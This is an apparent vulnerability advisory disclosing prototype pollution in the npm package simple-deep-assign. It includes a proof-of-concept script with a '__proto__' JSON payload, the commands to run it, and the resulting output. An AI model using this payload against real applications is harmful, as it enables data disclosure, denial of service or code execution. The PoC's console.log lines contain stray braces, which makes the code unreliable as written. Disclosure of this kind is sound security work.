simple-deep-assign

vulnerability prototype pollution
severity 7.3
language javascript
registry npm
repo ygoto3/simple-deep-assign
fork 418sec/simple-deep-assign

Description

simple-deep-assign is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.mjs
import deepAssign from 'simple-deep-assign';

console.log('Before: ', {}.polluted})
deepAssign({}, JSON.parse('{"__proto__": {"polluted": "Prototype Polluted"}}'));
console.log('After: ', {}.polluted})
  1. Execute the following commands in the terminal:
npm i simple-deep-assign # install vulnerable package
node poc.mjs # run the PoC
  1. Check the output:
Before: undefined
After: Prototype Polluted

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.